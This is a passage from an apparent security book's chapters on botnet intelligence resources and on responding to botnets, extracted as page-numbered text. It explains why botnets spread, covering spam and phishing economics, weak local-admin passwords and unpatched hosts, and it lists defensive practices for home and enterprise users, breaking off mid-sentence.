sites can provide disinformation, and some hacking\nsites may attempt to install malicious software on your computer when\nyou visit them or install a program from their site.You need to be careful\nwherever you visit on the Net, and attempt to verify information as true.\nThis isn’t really a problem with established sites that work hard to dissemi-\nnate accurate information. Of course, you also shouldn’t underestimate the\nvalue of a book, which is obviously free of anything that will infect your\nsystem.\nQ: I’d like to take a more serious role in combating botnets. What steps\nshould I take?\nA: Visit sites like Shadowserver to view how to capture data and become\ninvolved in gathering intelligence. Information on the Shadowserver site\nwww.syngress.com\n414\nChapter 11 • Intelligence Resources\nFrequently Asked Questions\nThe following Frequently Asked Questions, answered by the authors of this\nbook, are designed to both measure your understanding of the concepts pre-\nsented in this chapter and to assist you with real-life implementation of these\nconcepts. To have your questions about this chapter answered by the author,\nbrowse to www.syngress.com/solutions and click on the “Ask the Author”\nform. \n" }, { "page_number": 433, "text": "provides instructions on creating honeypots, and (like numerous other sites\ndealing with Trojans and viruses) the ability to upload a botnet you’ve dis-\ncovered.\nQ: I’d like to join a membership organization, but I’m unsure if I have the\nqualifications?\nA: Membership organizations aren’t only for topnotch security professionals.\nThey provide a forum for professionals to exchange information, ask ques-\ntions, learn from the experience of others, and expand the capabilities of\ncombating botnets and other threats. Check the Web sites of membership\norganizations and see if you meet their criteria. Some organizations will\neven make exceptions on a case-by-case basis.\nQ: I’ve heard that the police generally don’t help with computer crimes.\nShould I bother calling?\nA: Cyber-crimes are a recent field of investigation, and it has taken law\nenforcement a significant amount of time to catch up.Today, most police\ndepartments have their own Technology Crime Units, or partnerships\nwith departments that specialize in this field. Police colleges have\nincreased their curriculums to include courses on electronic fraud, com-\nputer forensics, and other investigative techniques involving cyber-crimes.\nQ: If law enforcement becomes involved, will I need to testify in court?\nA: It is always important to remember that’s a possibility. In criminal investi-\ngations, the names of everyone involved in the incident will need to be\ndocumented, and depending on what your role was in responding to the\nincident and the information you can provide, your testimony may be\nrequired.\nwww.syngress.com\nIntelligence Resources • Chapter 11\n415\n" }, { "page_number": 434, "text": "" }, { "page_number": 435, "text": "Responding \nto Botnets\nSolutions in this chapter:\n■\nGiving Up Is Not an Option\n■\nWhy Do We Have This Problem?\n■\nWhat Is to Be Done?\n■\nA Call to Arms\nChapter 12\n417\n\u0002 Summary\n\u0002 Solutions Fast Track\n\u0002 Frequently Asked Questions\n" }, { "page_number": 436, "text": "Introduction\nIn this chapter, we talk about how we got ourselves into this mess, and brain-\nstorm a bit about how we might get out.We first discuss the problem and talk a\nbit about how it is fueled by money and identity theft.We also talk about why\nit is a hard problem.Then, we present various ways we might respond to the\nchallenge of botnets, including basic sane security practices for hosts and net-\nworks, and measures aimed at reaching out to more aggressively grapple with\nthe beast. One thing for sure, the problem is real and it is fueled by money.We\nalso are going to brainstorm a bit in this chapter. Not of all our solutions or\nsuggestions will be doable by everyone, especially those with limited resources\nand time.To quote from the State of Kansas:“ad astra per aspera” (to the stars\nthrough difficulties).We hope to provide food for thought.\nThe $64,000 question with botnets is what to do with them when you\nfind them. Blocking the inbound and outbound traffic related to the botnet\nand eliminating clients you find in your environment is a natural first inclina-\ntion, and in many organizations, this may appear to be your only option.\nYour organization’s response to botnets should begin long before you dis-\ncover a botclient or botserver on your network. Many actions can be taken that\nare preventative, proactive, and should be considered.We will examine the issues\nand concerns in many areas to search for potential opportunities for improve-\nment to discover as many tools and weapons against botnets as possible.\nGiving Up Is Not an Option\nRecently, some botnet pundits have opined that the traditional way to get rid of\na botnet may not work as well anymore as distributed botnet software continues\nto evolve.We have traditionally relied on botnets having a known head (a few\nbotnet server IPs at a DNS name as mentioned in Chapter 3) and have tried to\ntake down the botnet server itself. In a few cases (not enough), we have tried to\nlock the botnet herder in jail. Chapter 3 presented botnets that may use the\nWeb (http) or P2P technologies for connectivity. P2P in particular looks worri-\nsome because it could mean the snake now has multiple heads.\nThe problem with cutting off the head is that it leaves a sea of infected\nhosts behind. If a botnet client host is vulnerable to exploitation and not fixed,\nit is still vulnerable and can probably be infected with a new bug, controlled by\na different master, and added to a new, stealthier botnet for new forms of\nwww.syngress.com\n418\nChapter 12 • Responding to Botnets\n" }, { "page_number": 437, "text": "misuse.We can’t be sure we actually cut off enough of the head, either.\nAlternate head #2 may be primed and ready to take over.The host and all its\ndata are still in peril. Ultimately, we still have to address host security and do a\nbetter job of it.\nBotnets certainly represent a new, more evolved form of malware.\nMalware used to be one virus and maybe one remote controlled host, not an\nentire assemblage of exploited hosts remotely controlled.The big differences\nnow are in the numbers of controlled hosts and the use of exploited hosts for\nmoney, possibly with organized crime behind it all. Systems are used for var-\nious forms of identity theft (phishing, more later) and other forms of fraud,\nincluding bogus mouse clicks on Web pages, spam generation, and the use of\ndenial of service as a form of extortion.\nComputers are hacked in different ways—some traditional, some new, and\nas of yet possibly unknown. Botnets represent a rapid sphere of evolution in\nsome sense in attacks, but most of the attacks are old and represent nothing\nnew. These attacks include traditional password guessing and Microsoft file\nshare attacks. Password-guessing attacks could be dealt with by known strong\nauthentication techniques or even such simple techniques as making sure\naccounts have passwords. Microsoft file share attacks often succeed simply\nbecause people for whatever reason (bad reasons, typically like “it is not con-\nvenient”) don’t update their computers.\nSo, possibly to misquote John Paul Jones:“we have not yet begun to\nfight.” We do not know if the situation is worse than it was a few years ago\n(attacks often go unreported). We might simply be more aware of what is\nhappening in the black-hat world. Even if botnet technology changes, though,\nthe arms race between white-hats trying to protect computers and black-hats\ntrying to exploit computers has been going on for awhile.That particular\narms race is not new, either.There will be new advances in both white-hat\nand black-hat technologies.At times, white-hat technologies may discover a\nway to more easily discern botnet traffic or practices.At times, the black-hat\nhackers may create a new technology and deploy it in their botnet malware.\nThis doesn’t mean the white-hats should give up and call it a day.\nIn the meantime, we would do well to pay attention to the usual suspects:\n1. We need more education about security in general and botnets in\nparticular.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n419\n" }, { "page_number": 438, "text": "2. We need more white-hat organization and communication between\nsecurity professionals.\n3. If you practice good security practices, odds are you won’t be joining\na botnet.\nEducation about keeping computers safe has always been a problem in\nsecurity, and we would like to see more done there. One obvious challenge is\nthe world of home computers hooked up to broadband DLS and cable con-\nnections (see the spamhaus site at www.spamhaus.org/statistics/networks.lasso\nfor grim statistics). We aren’t going to say much more about that here, but of\ncourse this book is part of the solution as it should help educate the IT public\nabout the botnet threat. It would not hurt if IT managers would emphasize\ntraining for IT professionals in security.\nOrganization and communication between security professionals is cru-\ncial.There is not enough communication about botnets in many spheres,\nincluding academia, professional groups, security-related businesses, and the\nwhite-hats actually fighting botnets. Informal and formal discussion venues\nare needed. Basic meta-problems exist, like who is authorized to know certain\nkinds of data.Another problem is that academics often cannot get relevant\nand useful data for study simply because of security or privacy concerns.\nOften, there is a very real problem that security people may need data but are\n“simply not be in the loop,” because they don’t now how to get in the loop.\nOur point is simple.Yes, botnets may evolve, but so will defensive mea-\nsures.This doesn’t mean we should give up. Our defensive measures and prac-\ntices are well known. We can probably stop the average Microsoft host from\nbeing infected. We simply must put our defensive measures into practice and\nat the same time do a better job of communication about problems.\nWhy Do We Have This Problem?\nLet’s back up a moment and talk about why we have this problem in the first\nplace. One basic reason is that botnets are a means of making money.Another\naspect to consider is the software engineering background where hard problems\nin software engineering contribute to the problem. However, if engineering is\nthe problem, then possibly engineering is also the solution.We also find that we\nmake mistakes not due to technical wonders inherent in “exploits,” but because\nour processes and practices are flawed. Simple attention to IT process can work\nwww.syngress.com\n420\nChapter 12 • Responding to Botnets\n" }, { "page_number": 439, "text": "wonders in the enterprise and possibly in the home if we can ever figure out\nhow to do tackle that particular arena.\nWhy are botnets spreading everywhere? Are there environmental condi-\ntions or factors that make it easier or harder for botnets to exist and prolif-\nerate? If they exist, then companies, universities, and organizations can affect\nthe desirability of their site for botnet colonization. In industry, are there\nbehaviors and practices that encourage the creation and use of botnets? Could\nthese behaviors and practices be changed? This section attempts to describe\nenvironmental aspects that are useful to botnets. While we won’t be able to\ncover all possible environmental aspects, we’ll address as many as time permits.\nFueling the Demand: \nMoney, Spam, and Phishing\nAs in most things, the primary motivation for the creation and use of botnets\nis money.The headlines tell us that organized crime has gotten into the spon-\nsorship of botnets in a big way. Recently, the news media reported a Russian\nMafia group operating a 73,000-bot network for sending spam.Their prod-\nucts included pornography, pump and dump stocks, and Viagra.As long as\nthere are lucrative opportunities like these, there will be botnets. We know\nthat only a small percentage of recipients need to respond to make the opera-\ntion profitable.The rationale for using mass mailing to individuals who do not\nask for or consent to the e-mails, is either that the population of potential\ncustomers is difficult to discern, or the fear that most potential customers\nwould say no if asked if they would like advertisements of this nature. For\nbotnets to be useful in this kind of venture, the botherder must gather a large\nnumber of computers for the generation of spam. Some of these computers\nneed to have high-speed connections and significant processing power to\nserve as spam relays.Alternately, the botherder can locate and use other (not\npart of the botnet) mail servers configured to act as relays or open proxies.\nBotnet clients need to live on networks that permit the command and con-\ntrol protocol through their firewalls and IDS/IPS, or the command and con-\ntrol must be flexible and designed to operate using multiple protocols and\napplications. In a recent R-bot infestation, we found copies of Dameware,\nCarbon Copy, and VNC, all useful as remote administration tools, on different\nbotnet clients within the botnet.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n421\n" }, { "page_number": 440, "text": "The products chosen need a large and reachable customer population. It\nis, after all, a numbers game.The spammers count on getting a certain number\nof customers out of every run. In the case cited previously, the spammers only\nneeded one sale out of every 30,000 to make a good profit.The customers\nmust want to buy the products via this unusual medium. In this case, the\nmotivation could be embarrassment or cost. In the case of pump and dump\nstocks, the motivation is greed. Note, too, that the spam needs to get by many\n(but not all) of the anti-spam filtering techniques.\nIronically, some large ISPs have begun to provide anti-spam software or\nservices due to the demand of their customer base.This is a case where the\nspammers may have been their own worst enemy. By not exercising constraint\n(which is not in their nature), they have caused ISPs to respond to keep cus-\ntomers from changing to other ISPs.\nSpammers prefer to find an organization that permits individual com-\nputers to send SMTP outbound as opposed to sending it through a local\nSMTP server where it might be checked for spam.They also prefer organiza-\ntions that do not keep statistics, such as top outbound mail senders, and so\nforth. Organizations that permit inactive accounts to stay open are also targets\nfor spam sending botnets. Botnet herders can pound away at these inactive\naccounts trying to guess their passwords since there is no one using the\naccount to notice. Large organizations with many inactive accounts and large\namounts of user rollover, like universities, are a prime target.These accounts\ncan be on both UNIX and PC systems, since mail is ubiquitous.\nFor phishing and pharming attacks, the target is personal information,\nfinancial information, credit card numbers, and access to financial Web\naccounts (for piggybacking).There are three components to the phishing\nattack. First, you have to herd the victims to your collection sites. For this, the\nphisherman could use a botnet in much the same fashion as the spammers.\nThis spam would look like e-mails from banks or other financial institutions.\nYou could also use pharming techniques. For pharming, the botherder targets\nlocal DNS, either on a PC host directly or by a targeted attack on the local\nDNS servers.Taking over DNS in toto is an awesome venue for man-in-the-\nmiddle attacks. Now the phishing site needs to masquerade as the real site.\nMany do this by using images that were extracted from a real financial or\nbusiness site.The herding activities discussed are all technical elements of a\nsocial engineering attack.The attack depends on the user being unable to\nwww.syngress.com\n422\nChapter 12 • Responding to Botnets\n" }, { "page_number": 441, "text": "easily distinguish between a real e-mail or Web site and the phishing version.\nIt also depends on the user to react to the emotional appeal of the fictitious\nissue raised by the phisherman. Finally, to set the hook, the phisherman needs\nthe victim to react in the manner prescribed in the e-mail—that is, to click\non the provided link. Click here to avoid this unpleasant disaster. For this to\nhappen, the user must be uninformed, emotional, and unsuspecting of the\nconvenience of the embedded link.\nLaw Enforcement Issues\nAs a side note on this phenomenon, the phisherman can locate sites in dif-\nferent countries for the actual phishing Web site.These sites are in existence\nfor less than seven days. Why? International requests in Europe for law\nenforcement assistance take seven days to process.\nAre You Owned?\nUsing International Sites to Delay Law Enforcement\nA May 19 Information Week article by Thomas Claburn described the\ncase of Jayson Harris, an MSN phisher, who was convicted in Microsoft’s\nfirst civil phishing case (www.informationweek.com/news/showArticle\n.jhtml?articleID=188100721). Dave Aucsmith, senior director at\nMicrosoft’s Institute for Advanced Technology in Governments described\nthe path of the investigation to CRIME, a Portland Oregon group of law\nenforcement and information security professionals. Microsoft filed a\nJohn Doe lawsuit in the state of Washington. Following the e-mail path,\nthe trail dead-ended in India. Then, law enforcement issued subpoenas\nto Web hosting sites in California. The information gathered in these\nsubpoenas pointed to an ISP in Austria. A February 14 article, “How to\nHook the Elusive Phisher” by Steven Levy in online Newsweek, revealed\nthat Microsoft had no legal grounds to compel the Austrian ISP into\nrevealing what they knew about the attacker. However, according to\nLevy, the operator, Andreas Griesser, hates phishers and voluntarily iden-\ntified a Qwest IP address in the United States. The subpoena to Qwest\nand further investigations revealed Jayson Harris of Iowa as the culprit.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n423\nContinued\n" }, { "page_number": 442, "text": "Harris was using his grandfather’s MSN account to run the operation.\nJayson was sentenced to 21 months and restitution of $57,000. \nOf course, the individual has no chance of being able to take independent\nactions that would catch the phisherman.A number of consortiums, like the\nCastleCops.com/PIRT team and the Anti-Phishing.org Web site, have sprung\nup to provide a channel for individuals and corporations to have a chance of\ncontributing to the taking down and eventual capture of phishing site \noperators.\nEven in the same country, the process of getting information from the\nISPs involves a significant bureaucracy. Both the law enforcement community\nand the judicial community must be involved in the process of developing\nand approving a subpoena, which most ISPs require to protect themselves\nfrom lawsuits. Just a few years ago, the ISP operators would have given the\ninformation voluntarily once they were convinced that “terms of service” had\nbeen violated or a suspected crime had been committed. In today’s litigious\nworld, this rarely happens.\nFor the botherder, the final component of the phishing/pharming attacks\nis the final site where the data is aggregated and exploited.This may be a site\nowned and secured by the botherder, but it may also be a neutral site con-\ntrolled or specified by an individual or group known as cashers.The main\ntechnique for converting credentialed information into cash is to use the\ninformation to create ATM cards (called tracking) and then use the cards to\nwithdraw the individual’s maximum daily funds. Christopher Abad, in his\nreport “The Economy of Phishing” (www.firstmonday.org/issues/\nissue10_9/abad/), notes that the reason tracking has become popular is\nbecause of measures taken to make it more difficult to ship purchased goods\nto countries where credit card fraud is a significant problem.\nStudies of institutions targeted for phishing in Abad’s report show that\nfinancial institutions that use weak measures to protect ATM mechanisms\nfrom tracking are the most frequent target.The demand for Bank of America\ncredential information is almost nonexistent due to the fact that their ATM\ncard encoding algorithm is difficult to obtain or crack.According to Abad,\nphishers interviewed believe it may be encrypted with Triple-DES. When his\nreport was written, in September 2005, Washington Mutual, Sun Trust Bank,\nCitibank, and Citizens Bank were the top four targets of credential theft.\nwww.syngress.com\n424\nChapter 12 • Responding to Botnets\n" }, { "page_number": 443, "text": "Abad speculates the reason these banks are in such demand is because their\ntracking algorithm is easy to obtain from other phishers.This demand, he\nconcludes, is created by the ability of the casher to cash out a given financial\ninstitution; thus, restricting the ability of the casher to cash out reduces\ndemand.\nHard Problems in Software Engineering\nFrom the traditional computer science point of view, a couple of points need\nto be made. One is that our problem is indeed hard. For example, one of the\nfounding fathers of computer science,Alan Turing, showed that we could not\nwrite a program that could decide if another program was going to halt the\ncomputer. (For example, see http://en.wikipedia.org/wiki/Halting_problem).\nThis was called the halting problem.A poor student of computer science\nmight decide that this problem only applies to programs looking for halt\ninstructions in other programs.After all,Turing mathematically proved that\nthe program searching for the flaw cannot find all instances of it.The more\nastute student understands the general implications. In practical terms, we\ncan’t get all the bugs out of a software program or system. For example, in\nsecurity terms, consider a virus checker looking for “signatures” (patterns) in\nrandom files on your Windows box.Turing told us that by definition this pro-\ngram cannot be perfect.A virus may exist that the program cannot detect.\nThis is a fundamental result in computer science.\nFurthermore, we know that our systems only seem to get more compli-\ncated. We now have dynamic link libraries and loadable device drivers and it\nisn’t clear where the operating system ends and applications begin. Microsoft\nmay have a lot of software, but they also have created a large market for third-\nparty applications. It is not reasonable to expect them to have absolute control\nover the quality of those third-party applications.The bad news here is that\nthe odds of your host system having been tested for security bugs in any\nmeaningful way is darned near zero. IT workers have the daunting task of\ntaking miscellaneous hardware, an operating system, random drivers, a dif-\nferent set of applications per host, and the pile of patches needed to keep\nthose systems “up to date” and somehow make it all work with other systems\nover the network. Put another way, the combinatorics of testing of any sort is\na very difficult problem. Couple the complexity of software with the fact that\nthe hacker needs one bug that works and the “anti-hacker” needs to know all\nthe possible bugs.This is a very tough nut, indeed.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n425\n" }, { "page_number": 444, "text": "In the botnet world, we seem to have some tough problems, too. One of\nthem is the ever-increasing amount of spam we discussed in the previous sec-\ntion on the phishing phenomenon.Another is that we lack effective means of\ndealing with large-scale DoS attacks.These are both hard problems.\nLack of Effective Security Policies or Process\nTo be owned, each botnet client has to have at least one security issue. In\nsome cases, the issue is technical, but in many, many cases, the fundamental\nlocal enterprise security policies or the lack thereof may be the problem.To\nquote from our hero, Bruce Schneier, security wizard:“security is a process,\nnot a product” (www.schneier.com/crypto-gram-0005.html). In other words,\na new shiny firewall won’t solve the problem unless it somehow is part of a\nprocess of incremental improvement with some brainpower and policy\nthinking behind it. IT process and wise implementation is fundamental.To\nillustrate this problem, let’s tell a little story before we go on.\nOne fundamental problem with PCs is that most software applications can\nrequire local admin to install software. Many companies and institutions grant\nusers local administrator access, either by putting their domain account in the\nlocal administrators group on the workstation or by creating a local account\nand putting the account in the local (workstation) administrator group for\nthem.This account is different from the institution’s local administrator\naccount. Giving the user’s Domain account local admin privileges means that\nevery time the user goes to a site that downloads and executes malicious\ncode, it will execute with local administrator privileges.This is not good.\nGiving the user a separate local account with local administrator privileges is\nbetter from this perspective, but then you have to ensure that the account is\nproperly protected and the users understand that they are to use this account\nonly when they have to have (not want) admin rights. Many IT organizations\nsplit the Windows administration tasks between two groups. One team\nadministers the group policy and enterprise level aspects.The other team\nmaintains the local policy and workstation level aspects. Windows does not by\ndefault carry over the domain security policy regarding password complexity,\nstrength, and expiration into the local policy unless you explicitly tell it to do\nso. In addition, the limitation on the number of guesses you can make when\ntrying to log in to a local account across the network does not match the\nlimits placed on the domain accounts. For local accounts, the default for \nwww.syngress.com\n426\nChapter 12 • Responding to Botnets\n" }, { "page_number": 445, "text": "auto-lockout is none. Guess what? The result is open season on most local\naccounts! This is the vulnerability Rbot relies on to spread from computer to\ncomputer.\nThe fundamental problem here is that users want to be able to install soft-\nware without having to wait for IT or have IT install it for them. Companies\nwith real concerns about security use group security policy to prohibit users\nfrom installing their own software. Each piece of software installed by a user is\none more opportunity for hackers to exploit. None of these applications will\nbe protected by the corporate patch management system (if such a thing\nexists). Some companies grant local admin to everyone who asks for it. Some\ngrant the user local admin by default to eliminate the work associated with\nthese requests. Very few organizations teach users to use one account with a\nvery strong password for installing software and other tasks requiring privi-\nlege, and another account for daily use.\nOne security conscious (but 0wned) user had an amazing array of firewalls\n(yes, plural), anti-virus, spyware, intrusion detection, process and network\nmonitoring tools, all of which showed nothing. Rbot penetrated his system\nusing a local admin account because the local admin password had been made\ntrivial. Rbot came in as a legitimate local admin, and turned off the security\ntools long enough so it could execute its applications using a stealth hook\nprogram (hidden32.exe, hideapp.exe, or hiderun.exe).The result was that these\nmonitoring tools either showed nothing or attributed the activity to common\napplications. In some instances, the FTP server, SERV-U, was modified so that\nit appears, in Task Manager and System Internals process explorer, as the\nInternet Explorer. If you look closer, it says that it is a security alert mecha-\nnism to protect against hacker attacks. Instead, it opened an FTP server on\nport 1119.\nThe use of local administrator accounts by users also leads to the phe-\nnomenon of local admin account creep. Each time a new user is assigned the\ncomputer, a new local admin account is created. Soon, no one remembers what\nthe other accounts were for and whether any dependencies exist related to\nthem.To play it “safe,” they are left on the system, forever. Coupled with the\nfact that the passwords never expire, there is no complexity policy, and there is\nno account lockout, these accounts are a target that cannot be passed up.\nAt Portland State University, we have seen the following phenomenon\nplay out far too many times:\nwww.syngress.com\nResponding to Botnets • Chapter 12\n427\n" }, { "page_number": 446, "text": "1. A Windows system remains unpatched, because the user in charge\ndoesn’t turn on Microsoft updates. Guess what happens eventually? \n2. A Windows or UNIX system (likely Windows, though) is compro-\nmised because of a password-guessing attack.This may be due to the\nmost stupid possible reason: it has an account with no password, or\nthe password is “sue”.\n3. A UNIX Web server is compromised because it has a piece of trash\nPHP code on it that allows a remote user to execute arbitrary code\non the server.This is not a new paradigm. It is simply a modern vari-\nation on having a backdoor in the server known to the hackers but\nnot to the administrators. Ultimately, this occurs because users (or\nprofessors) are allowed to have Web software and servers. Compound\nthat with a policy that says every user is given a Web site that lasts\nforever and is never updated.\nThese problems should be dealt with by policy and process.\nImplementation of process is tricky, of course, because as is often the case,\nhuman failure can be the source of the problem. Still, a good password policy\nand removal of user accounts as goals are crucial components.Third-party\nWeb-based software is also a problem, and measures including checking the\nsoftware in various ways need to be part of the process.\nOperations Challenges\nThe emphasis in most IT organizations is to do whatever it takes to return to\noperations. In the case of botnet infestations, this is a losing proposition.\nWithout knowing the attack vector and ensuring you have closed it, you will\nre-image the system only to have it get re-infected soon after it is back on the\nnetwork.A/V vendors tag the files they find with names unique to that\nvendor.The naming convention has become increasingly a function tag rather\nthan a unique name. More importantly, the A/V product treats all the files\nassociated with the found file the same.That is, if the executable is deleted, all\nthe associated configuration files are also deleted. In our most recent botnet\ninfestation, we identified the vast majority of the botnet clients by mining the\ninfected clients for information. Our clearest picture of the architecture of this\nbotnet came from the detail found in the malware’s ini and text files. We’re\nsuggesting that A/V tools could provide a tremendous intelligence value to\nwww.syngress.com\n428\nChapter 12 • Responding to Botnets\n" }, { "page_number": 447, "text": "enterprise security if they would collect the intel in these files and report\nthem to the information security organization. Gathering and analyzing the\nsecurity event, firewall, and anti-virus logs told us who was attacking the\ninfected client before it joined the botnet and where the payload might be\nhidden.The firewall log also told us which computers connected directly to\nthis workstation. In most organizations, it is rare for workstations to connect\nto one another—workstation to server, yes, but workstation to workstation\nnot very often. Note that none of this intelligence is possible unless opera-\ntions permit you to collect this small set of forensic data before scanning or\nre-imaging.\nOne could probably stop here and argue as to whether the cup is half full\nor half empty. Half full because any security professional can come up with\ntechniques for fixing the aforementioned problems (turn on updates, use\nbetter authentication techniques, check the crufty PHP software with web-\ncheckers (check out nikto, which is open source at\nwww.cirt.net/code/nikto.shtml). From the half-empty point of view, we can\ndespair of ordinary users. Can we ever educate them? That is a very good\nquestion. Perhaps the vendors could help, and instead of pitting security\nversus usability, help make security more useable.The bottom line, though, for\nbotnets is that a lot of the exploits are used over and over again. If you saw an\nattack against X yesterday and it worked, why should they bother to develop\na new attack? We may have hard engineering problems, but we feel that secu-\nrity engineering in terms of process and policy are a key answer to the\nproblem. We strongly suspect that simple policy measures can pay off.\nWhat Is to Be Done?\nWe mentioned before that known practices apply. Security professionals and\nnetwork engineers need to do what needs to be done to make their networks\nmore secure. Management needs to support this effort with training, time, and\ncash. Business,Academia, and IT professionals need to communicate about\nthese problems and look for approaches that deal with the problem, not just\n“market share.” In this section, we briefly mention some rules that should be\nobvious but perhaps are not. We also talk a bit about how to more aggres-\nsively pursue the botnets and botnet herders.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n429\n" }, { "page_number": 448, "text": "Effective Practices \nSo, what are some effective practices? There are so many ideas in the previous\nchapters that we don’t have the room to list them all. However, we do want\nto briefly list some ideas we think are fundamental.\nPractices for Individual Computer Users\nHere are several effective practices for individual computer users to consider.\n■\nIf it’s spam, delete it and don’t respond to it. Don’t buy their product.\nIf no one bought products from spam, there would be no spam\nproblem.\n■\nWith e-mail or Web surfing, be careful.You should not execute\nunknown e-mail attachments, because you may be installing malware\non your box.Think before you download. If a confinement mecha-\nnism exists for doing a download, use it. It seems like it would be a\nwonderful idea to have virtual machines for download and test-instal-\nlation of programs, and then be able to throw out the virtual machine\nif it goes south.Think of the problems your Mom could avoid if her\ne-mail product only executed attachments in a virtual machine\ninstead of on the real-world computer.\n■\nMany exploits in recent times have been aimed at Internet Explorer.\nIf you use IE, be careful with it.You should strongly consider\ninstalling another browser and using it (Firefox). Outlook is also on\nthe short list of programs that have been infected far too many times.\nConsider using another e-mail client (note that you can use a Web\nbrowser as an e-mail client with some ISPs).Alternatively, use\nThunderbird at www.mozilla.com/en-US/thunderbird/.\n■\nBe careful about downloading and executing programs from the Web.\nAnother case where virtual systems would be useful if they could be\neasy to use. Perhaps the download option of the Web browser could\noffer it as an option “Open Virtual” instead of just Open or Save.\n■\nMake sure your system has auto-updates on.You have to stay\npatched.This applies to Microsoft in particular.\nwww.syngress.com\n430\nChapter 12 • Responding to Botnets\n" }, { "page_number": 449, "text": "■\nEnsure local accounts, particularly those with administrator privileges,\nhave strong passwords.\n■\nInstall a host firewall. Windows XP has one, so use it even if you do\nnot intend to manage the ruleset.The firewall log provides valuable\ninformation for botnet detection and analysis. If you are in an enter-\nprise setting, the Windows firewall can be turned on by group policy.\nIf you are an individual, the firewall can be turned on in the Control\nPanel |Windows Firewall menu item. On the General tab, click\nthe On option button. In addition, click on the Advanced tab. In\nthe section labeled Security Logging, click on Settings. On the\nLog Settings page, check the boxes Log dropped packets and\nLog successful connections.\nZone alarm has a nifty product (with a free version) that alerts\nyou in an active way if programs on your Windows host try to con-\ntact the network or the network tries to contact you. Enterprise fire-\nwalls are necessary, but in the modern mobile world, you may be at a\ncoffee shop and your organization might not have configured your\nlaptop so that all outbound traffic travels via VPN to the enterprise\nfirewall before going to the Internet.Thus, without a host firewall\nthere would be nothing between you and the Internet. Or, you\nmight be at the office and the host “next to you” on the same IP\nsubnet is sick and decides to attack you. Every ordinary operating\nsystem has a firewall capability at this point. People need to learn to\nuse them.\n■\nEnsure that your security log is on and that it records both Successful\nand Unsuccessful login attempts. In your local security policy, under\nAudit Policies, ensure that the Security Setting for the following\npolicies is set to Success, Failure:\n■\nAudit account logon events\n■\nAudit logon events\n■\nAudit Account management\n■\nAudit policy change\n■\nAudit privilege use\nwww.syngress.com\nResponding to Botnets • Chapter 12\n431\n" }, { "page_number": 450, "text": "This, coupled with the Internet firewall logs and network moni-\ntoring logs, will permit you or investigators to determine where\nattacks came from, which other machines might be part of the\nbotnet, and which accounts have been compromised. If you are in an\nenterprise or organization, consider software that will centrally collect\nand protect the local event logs from your workstations.This would\nenable monitoring of brute force and password-guessing attacks in\nnear real time.\n■\nRun a virus checker, especially on Windows.Your virus checker\nneeds to be patched. We have nothing against commercial vendors,\nbut free virus checkers do exist (here’s a hint: search Google for “free\nvirus checker”).There is no reason to run unprotected.\n■\nVirus checkers may not do a good job checking for so-called spyware\nor adware.Adware checkers exist, too. Use one.\n■\nRename the Administrator account and disable the Guest account.\nEvery password-guessing tool in the hacker inventory knows about\nthese accounts and tries to break them. Don’t use account names like\nTrack_Cash or others that beg to be owned.\nEnterprise Practices\nHere are some effective practices for users in enterprise environments to \nconsider.\n■\nUse an intrusion detection system (IDS), as you need something\nwatching your network.As two examples, ourmon as an anomaly\ndetection system watches for attacks that have unfortunately suc-\nceeded. Snort watches for known attacks that will be repeated.\nOurmon and snort are complementary.\n■\nAny organization that does not have a firewall today is asking to be\ntagged with negligence damages related to many information tech-\nnology losses.They are in the same position that the tugboat operator\nwas in when the principle of “due care” was introduced. Firewalls of\nall shapes, sizes, and performance capabilities exist, and most organiza-\ntions have them in place.Attack logs can be useful as long as they are\nreviewed and analyzed.A firewall is better if it denies everything and\nwww.syngress.com\n432\nChapter 12 • Responding to Botnets\n" }, { "page_number": 451, "text": "only allows exactly what you need. However, in the days of mobile\nsystems and VPNs, firewalls are less perfect than ever. Network access\nto files, printers, and network instrumentation gear (and SQL servers)\nshould be minimized.\n■\nNetwork-based monitoring systems such as Ourmon, cricket, and\nnetflow provide graphical or log-based histories of what happened on\nyour network.These can be invaluable for forensic examination of\nnetwork attacks.\n■\nFor outbound spam, block port 25 access to the Internet for hosts\nusing dynamic IP. Hosts that show up in the logs trying to get out to\nthe Internet on port 25 are candidates for “bothood.” Open mail\nrelays are not the problem they once were, but open proxy “Web”\nservers are a real possibility.\n■\nMonitor suspicious sources of e-mail (you should know and closely\ncontrol e-mail servers in the enterprise). Use an application or service.\n■\nIf you have a mail server, it should have some way to check e-mail\nfor viruses. We hope this point is obvious, but it needs repeating.\nOpen source virus checkers exist (for example, see www.clamav.net).\n■\nLayer 2 measures can help minimize internal post-exploit fan-out.\nFor example, Cisco’s recent switch mechanisms (port security) for\ndetecting DHCP, IP address, and ARP spoofing can all help.\n■\nWork with networking managers, sys admins, and facilities manage-\nment to ensure the infrastructure (maps of building and data jack\nlocations, data jack to switch mappings, DHCP historical logs, Mac to\nIP address mappings, and IP address to NetBIOS names) will permit\nyou to track down the physical locations of botnet clients\n■\nRequire that all remote authorized users’ access to internal systems be\nvia encrypted VPNs.\n■\nDevelop and use a network quarantine for use whenever a botnet\nclient is detected.\n■\nWork with operations to ensure security is permitted time to gather\nintelligence from victims’ computers before they are re-imaged and\nreturned to service.\nwww.syngress.com\nResponding to Botnets • Chapter 12\n433\n" }, { "page_number": 452, "text": "■\nSecurity policy and process is crucial.This applies in particular to user\naccount management (minimize privilege), password policy (use\nthem, the stronger the authentication the better), and installation of\nthird-party network accessible software (check it and isolate it, insist\non a responsible party for any instances of it).\n1. Set group policy to turn on user account logging of both suc-\ncessful and failed login attempts.\n2. Set group and local policies to govern password strength, number\nof failed attempts, etc.\n3. Set group policy to ensure the Windows firewall is on and log-\nging is enabled.\n4. Ensure that systems that log on to enterprise networks have cur-\nrent OS and A/V updates as a condition of logging on.\n5. Establish security group policies that are necessary for every orga-\nnization in the enterprise and coordinate their acceptance by all\ngroups that manage IT groups.\n■\nEnsure that your OS and A/V are updated in a timely manner. Don’t\njust run the patch job. Run reports after every update to determine\nwhich systems have and have not been updated. Determine why they\ndidn’t update and find a way to reach all systems.\nSo, given that set of guidelines aimed at local sanity, what else might \nwe do?\nHow Might We Respond to Botnets?\nObviously, one very basic response to botnets is to stomp out the malware.\nConsider these suggestions:\n■\nClean up any infected hosts, whether they are clients or server. Be\nprepared to re-image or reinstall from scratch, as some sorts of mal-\nware are very complicated these days.Trying to remove a bit here and\nthere is not likely to work. It can be very hard to find all the parts of\na rootkit. Of 